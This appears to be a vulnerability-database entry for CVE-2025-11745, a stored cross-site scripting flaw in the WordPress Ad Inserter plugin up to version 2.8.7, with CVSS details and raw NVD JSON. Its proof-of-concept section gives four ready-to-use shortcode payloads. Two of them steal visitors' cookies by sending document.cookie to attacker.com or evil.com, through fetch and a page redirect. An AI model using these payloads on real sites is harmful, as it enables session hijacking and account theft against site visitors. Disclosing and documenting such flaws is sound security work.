Security Vulnerability Report
中文
CVE-2025-11745 CVSS 6.4 MEDIUM

CVE-2025-11745

Published: 2025-11-05 12:15:32
Last Modified: 2026-04-15 00:35:42

Description

The Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom field through the plugin's 'adinserter' shortcode in all versions up to, and including, 2.8.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Ad Inserter插件 <= 2.8.7(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Ad Inserter XSS PoC - CVE-2025-11745 --> <!-- Usage: 1. Login as Contributor or higher role 2. Edit/Create a post or page 3. Add custom field with name containing XSS payload 4. Save and view the page --> <!-- Method 1: Via Custom Field --> [adinserter name='test' data='"><script>alert('XSS by CVE-2025-11745')</script>'] <!-- Method 2: Alternative payload --> [adinserter name='"><img src=x onerror=alert(document.domain)>'] <!-- Method 3: Cookie stealing payload --> [adinserter name='test' data='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Method 4: Session hijacking --> [adinserter name='"><script>document.location='https://evil.com/log?cookie='+encodeURIComponent(document.cookie)</script>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11745", "sourceIdentifier": "[email protected]", "published": "2025-11-05T12:15:32.310", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom field through the plugin's 'adinserter' shortcode in all versions up to, and including, 2.8.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.7/ad-inserter.php#L9333", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ad-inserter/tags/2.8.7/ad-inserter.php#L9870", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8e7831c5-2262-42c9-9655-a43ef2dac54f?source=cve", "source": "[email protected]"}]}}